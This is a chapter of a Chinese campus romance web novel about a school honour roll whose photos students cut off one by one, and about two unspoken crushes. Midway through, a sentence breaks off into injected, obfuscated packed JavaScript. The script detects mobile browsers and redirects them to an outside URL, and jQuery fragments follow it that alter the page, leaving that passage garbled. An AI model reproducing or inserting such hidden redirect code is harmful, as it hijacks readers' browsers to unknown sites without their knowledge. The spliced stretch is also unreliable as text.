记忆里，那年五月，学校升级了光荣榜。往年只公示名字、排名和班级，这次竟破天荒地贴上了照片。


    劳动节假期结束，返校的第一个上午。


    当时正值上课时间，二班班长先敲了敲门，得到应允后推门探头：“打扰一下，请年级前十和单科第一的同学，现在到一楼大厅拍照。”


    闻言，正在讲课的语文老师放下粉笔，一挥手：“去吧。剩下在班的同学先自行预习下一篇古诗……”


    二班班长传完话，赶忙去通知下一个班。


    教室后排正昏昏欲睡的齐思浩被这动静惊醒，伸了个懒腰，转头道：“走吧长嬴。唉，就是可惜我这回卡在年级第十一……”


    边长嬴跟着他从后门出去：“没事，你物理单科第一。”


    齐思浩单手插兜走在前面，闻言一下乐了：“不得了，高冷学神也会安慰人了。”


    边长嬴：“……”


    他掀了掀眼皮，抬手拍了拍齐思浩的肩，语气平淡：“我得意思是，还得努力。”


    说罢，还郑重其事地“嗯”了一声，嘲讽力瞬间拉满。


    齐思浩：“……靠！”


    他成功被挑衅到了，下意识想勾过边长嬴的脖子来个锁喉，却在碰到的前一秒想到对方的洁癖，嘿嘿一笑便飞快收了手：“边长嬴，你这嘴不轻易开，一开口就淬毒是吧……等着，早晚有你的报应。你要敢跟上次那女孩这么说，保准把人气哭。”


    边长嬴眼眸里掠过一丝自嘲，声音有些苍凉：“你想多了。”


    “什么想多了？”齐思浩掏了掏耳朵，凝神凑近，洗耳恭听。


    话音未落，走到楼梯拐角的班长胡穆见两人没跟上，回头喊道：“快点啊！磨蹭什么呢？”


    齐思浩忙抬手：“来了来了！胡大穆，反正下节还是语文课，急什么，多在外面浪会儿呗，是不是？”他说着，扭头想寻求认同似的眨眨眼，却发现边长嬴早已面无表情地走开了。


    齐思浩：“……”


    胡穆笑他：“你自己浪去吧，”说罢，转头对边长嬴说，“走走，长嬴，我们先去。”


    边长嬴轻点头：“嗯。”


    齐思浩一副被偷家、吃了屎的表情，撸了撸不存在的袖子，一个箭步冲过去：“行啊你们，演都不演了！”


    ……


    学校办事效率极高，第二天，就挂上了崭新的光荣榜。除了照片，还在每个人下方附了一则本人提供的座右铭。


    齐思浩缠着边长嬴，吵嚷了半天，问他的座右铭是什么。边长嬴始终气定神闲：“自己去看。”


    齐思浩愁容满面：“哥，不是我不想看。现在只要下课铃一响，高一的学弟学妹就把那儿围得水泄不通，还在一个死角，我根本挤进不去，一直被肘击！”


    学妹？


    那……她会看到吗？


    边长嬴扣上笔帽，轻声道：“No.1。”


    “No.1？”齐思浩心领神会，重复一遍，“我怎么没想到这个……欸，你想不想知道我的？……别走啊，话说一半，你要去哪儿？”


    “不想。”边长嬴蹙了下眉，话出口换了副措辞：“你……安静点。”


    齐思浩瞬间噤声，眼皮突突跳了两下。眼看边长嬴出了门，他只绷了半秒就破功：“没事，你不听，我写出来总行吧……”


    边长嬴：“……”到也不需要。


    推门出去，迎面是舒缓的微风，耳根终于清净。嘈杂被隔绝在身后，他长身而立在栏杆边，内心只挣扎了一秒，目光便温和地投向那个熟悉的方向。


    二十一天养成一个习惯，如今是第二十二天，他扔难以克制眼睛的这扇窗。


    他觉得自己是幸运的。措不及防间，那道身影再次闯入视野。


    那一刹那，周遭仿佛被世界按下静止键，只有耳畔清冽的风声提醒他，他身处孤岛，不能沉溺。


    故人、旧景。唯一不同的是，她眉目舒展，是笑着的。而她身旁，多了一个男生的影子。


    风忽然有些大了。边长嬴捏了捏眉心，闭了闭眼，缓缓移开视线。


    左肩忽然被人重重一拍，齐思浩的声音紧随而至：“喜欢就去追呗。”


    边长嬴气息沉缓，没作声。


    齐思浩灌了口水，想了想，接着道：“现在大家都是学生，又不能结婚，你怕什么？只要没结婚就都是浮云，而且……”他笑得狡黠，压低声音说，“结了婚，还能离呢。”


    边长嬴：“……”


    他拧眉，眼神古怪地睇了他一眼，神情认真，淡声道：“我不当第三者。”


    齐思浩听闻，噗哈哈地笑出声：“我随口说的，别当真！哈哈哈，”他说着做了个不那么严肃的敬礼，“咱们新时代青年都有很高的道德水平，应当遵纪守法，绝不掺和别人感情生活！”


    边长嬴：“……”


    见栏杆上的人已不见踪影，他才回身，语气沉痛：“转文科吧。”


    言外之意是，多读书，讲点道德。


    齐思浩只理解了一半：“……欸，我说。读文也不是不行，到时候咱们就是叱咤风云的“文理双枪战神”！”


    “……”边长嬴感觉眼睛和耳朵同时受到了骚扰，忍不住扶额：“土死了。你是你，别带我。谢谢。”


    他余光扫过二楼的长廊，转身回了教室，留齐思浩一个人在原地“征战风云”。


    －


    彼时，商如夏正硬着头皮挪到隔壁班长廊上，只为躲开，宛如狗皮膏药一样贴上就掉不了的谭无。


    谭无死皮赖脸地跟上去，小臂搭在栏杆上，脑袋一歪：“小商商，怎么见我就躲呀？这都多久了，还害羞呢？”


    商如夏：“……”


    她没招了：“大哥，你能别这么自恋吗？”


    “嗐。”谭无挑眉，“你早说啊，我答应你不就是了。”


    商如夏“哦”了一声：“那我叫你走开，你答应吗？”


    谭无立刻立正，不讲理道：“一码归一码。你先说说，刚才在那又发什么呆呢？”


    商如夏咕哝道：“想我男神。”


    “……”


    谭无脸一跨，威风凛凛的寸头配上委屈的表情，竟有点诡异的违和：“你就不能说句假话，让我开心一下？”


    商如夏睨都不睨他：“……没有这个义务。”


    谭无：“……”


    “你是不是特不想我缠着你？”


    商如夏只觉得这卤蛋终于良心发现，顿时眼前一亮，立刻扭头：“你终于知道了！”


    谭无：“……”


    他唇角一勾：“你现在跟我去个地方。去了，我就不缠着你了，怎么样？”


    “真的？”商如夏不信。


    谭无拍胸脯保证：“我说话向来算数。”


    就在这时，“叮铃铃——”的上课铃骤然响起。商如夏条件反射打了个哈欠：“等下课，我跟你去。你说话要算话……”说着就要转身回班。


    手腕却被猛然扼住。


    “就现在。现在不去，我照样追你。”


    “……”商如夏默默把拒绝的话咽了回去。用几分钟的课换长久清净，怎么算都是她赚。


    直到她谭无下到一楼大厅，站在偌大的红色光荣榜前，她才一愣，莫名其妙：“你说的地方……就是这？”


    谭无点头，眼里隐约闪过一丝期待：“嗯。你看看，上面有什么不一样的？”


    “难道你在上……”商如夏顺口接道，目光自下而上逡巡。忽然，她的视线定格在上方正中央的照片上。


    照片中的男生穿着最普遍的蓝白校服，黑色碎发垂落额前，面容清隽俊美。他没有佩戴眼镜，一双微微上挑的丹凤眼本是直视镜头，可此刻，当商如夏站定在面前，仰起脸去看，周遭一切归于安宁，他仿佛穿越山海，直直地望进她的眼里。


    这是第一次，她如此坦然，直视他的眼睛。


    下方的介绍，更让她心尖一颤。


    高二一班：边长嬴－712分－年级第一


    座右铭：No.1。


    他太优秀了。优秀到令她难以却步，仿佛连“喜欢他”这件事，都需要莫大的勇气。


    谭无见商如夏一直盯着高二那部分的光荣榜，顿时不高兴了，皱了皱眉：“……看这儿啊，商如夏，那是高二的，你看什么？我的在这里……”


    商如夏恍然回神，目光还有些呆滞：“什么？”


    谭无：“……”


    他抬了抬下巴，含糊道：“右下角，我的。”


    商如夏低头定睛看了两秒。可脑海里早已被边长嬴那张照片占满，再挤不进别的。她回过头，声音很轻，心里摇摇欲坠，像晨雾袭来笼罩山海，尘烟飘渺，却也真心为他高兴：“恭喜你。”


    这下，谭无反到有些不自在了，挠挠头：“其实，也就还好……”


    “嗯。”商如夏点点头，“说话要算数，记得你答应我的。我去上课了。”说罢，没给他反应时间，转身跑上楼。


    看着女孩近乎落荒而逃的背影，谭无神色落寞，苦笑着叹了口气。


    他耍赖多少次了？也不差这一回。他说话，不会算话的。


    -


    光荣榜挂出的第一天，一派祥和。


    第二天，相安无事。


    直到放出光荣榜第三天，大事不妙！


    起初，有同学去瞻仰座右铭时，发现左下角一个不起眼的位置，一张属于高三女生的照片，被人用小刀完完整整地割走了。


    空留下姓名——“高三五班：程青漫”


    以及她座右铭：“山不就我，我去就山！”


    因为那地方是一楼大厅监控死角，教导主任也就睁一只眼闭一只眼，没追究。


    一传十，十传百。这件事很快被全校同学知道了。


    枯燥的学习生活中，这事成了绝佳的谈资。大家纷纷调侃，割照片的人必定是对“女神”倾慕已久。


    风平浪静仅仅一天，见校方对此毫无反应，一些同学的胆子便大了起来。于是事情开始变得一发不可收拾起来，第三天，光荣榜上位置靠下，模样出众的俊男美女的照片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155928|183646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，接二连三地消失了。


    教导主任这才紧急广播：“同学们！近来大家对光荣榜的热情，我很欣慰。但同时学校严禁携带管制刀具！为保护同学们安全，严令紧张再割取照片！光荣榜的本意是激励，若人人都想把这份美好据为己有，便违背了初衷。对进步的渴望，我们赞扬；但对这份公共之美的私藏，必须批评！请大家共勉！”


    广播结束，下课铃准时打响，教学楼内一片哗然。


    同学们有选择地把主任的话听进耳朵里，最终统一理解成：竟然割了都没事？那不割白不割。


    俊男靓女被割走也就算了，那些长相质朴的同学本着一种“没被割走多丢人的”心态，也趁乱割走自己照片。


    于是，光荣榜前更加水泄不通。


    看着那一面照片墙，一个挤不进去的女同学振振有词：“我严重怀疑，判卷老师是个颜控！长得好看的都给高分，呜呜呜呜这也太不公平了！”


    旁边同样挤不进去的女生默默补刀：“也有眼瞎的。右上角第二排第三个，就不太行……”


    那女生顺着看上去，顿时炸毛：“惠亿！你丫的！那特么是我！”


    补刀的惠亿了然：“呀，是你啊？那确实瞎了。”


    “就你嘴毒！”笑闹间，女生一掌拍了上去。


    刚从人堆里艰难挤出的齐思浩，眼看一巴掌从天而降来，连忙侧身躲开。


    意识到差点误伤，女同学及时收了手，见到那张俊朗的净脸，却倏然红了脸颊：“对、对不起。”


    齐思浩摸摸脑袋，扬眉一笑：“没事没事，女侠身手不错。”


    他走后，女生在原地愣了好一会儿才回神。


    齐思浩空手而归回到教室，负手踱到边长嬴桌前，语气里藏着一丝不易察觉的窃喜：“唉，我本来想把咱们俩的照片割下来留念。你猜怎么着？都没了，空洞洞一片。不过我是真没想到，你的照片在最顶上，居然也有人弄走，估计费了老大劲，还搬了凳子。”


    边长嬴对此不甚兴趣。比起照片的去向，他更在乎她有没有看到。


    拍照时，想到这些照片会公开展示，他特意摘了眼镜。


    他心存一丝妄想：如果她再次看到那日他的模样，会不会……想起他？


    他像是着了魔。


    不奢恩、不求报，只贪婪地、恳切地想在她记忆里多占一寸位置。


    －


    同一时间，经过一番混战的谭无，功成身退，带着战利品，出现在了高一三班的后门。


    他托后门一个男生叫商如夏：“就说，有女生找她。”


    男生一脸懵，看着眼前这个眼神狠厉的同学，秉着多一事不如少一事的人生哲言，还是照办了。


    商如夏根本想不出外班哪个女生和自己熟，茫然地走出来。一见是谭无，那张挂彩却依旧吊儿郎当的脸，顿时有些无语，又被“卤蛋”骗了。


    谭无见她转身要走，急了，一把拉住她：“欸，别走。哥送你个东西。”


    商如夏预感不妙，下意识后退半步：“……什么？”


    “把手伸出来。”


    她拒绝：“不……”


    谭无啧了一声，眉头拧起几分不耐：“小商商，能不能有几分信任了？”


    商如夏：“……”


    “不能。”


    “行行行……我自己来。”谭无伸出一直藏在身后的手，张开手心。下一秒，一张布满褶皱的牛津布从指尖滑落下来。


    商如夏看到上面印着的，俨然是面前这张“恶霸”的脸。


    “这个，送你了。”谭无口气轻快，像是怕她拒绝，不由分说地把牛津布往女孩单薄的肩上一披。


    商如夏：“……”


    “回来。”她拽住谭无的衣袖，将印着他那张凶神恶煞脸的牛津布塞回他口袋，“我不要这个。我已经有了。”


    谭无皱眉，明显不信：“谁的？”


    商如夏歪了下头，俏皮一笑，理所当然道：“我男神啊。”


    “……”


    谭无嘴角微微一抽：“你别糊弄我了。你跟本没有什么所谓喜欢的人。我当你男神得了，照片我都亲自割下来的，现在还亲自给你送来。”


    商如夏：“胡闹！”


    男神是他说当就当的嘛！


    见谭无又要塞大头照过来，商如夏灵活地闪身躲到门框边，双手合十，语气是十足的认真：“大哥，我求你了。你要是再这样撒泼耍赖，我们连同学都没得做。这个年纪，学习才是正事。至于恋爱什么的……未来、你相信我，未来你会遇见更好的人。”


    她顿了顿，声音轻而坚定：“谭无。我是真有喜欢的人。”她笑了下，“说来有点中二，如果他不介意被我这样喜欢着……总有一天，我会向全世界宣告的。”


    上课铃再次打响，楼梯上传来纷沓的脚步声，同学们陆续回了教室。


    谭无愣在原地，半晌没说话。他攥紧垂落在身侧的手，抬起头，嗓音有些微哑：“好啊。”


    “我等着你……向宣告全世界的那天。”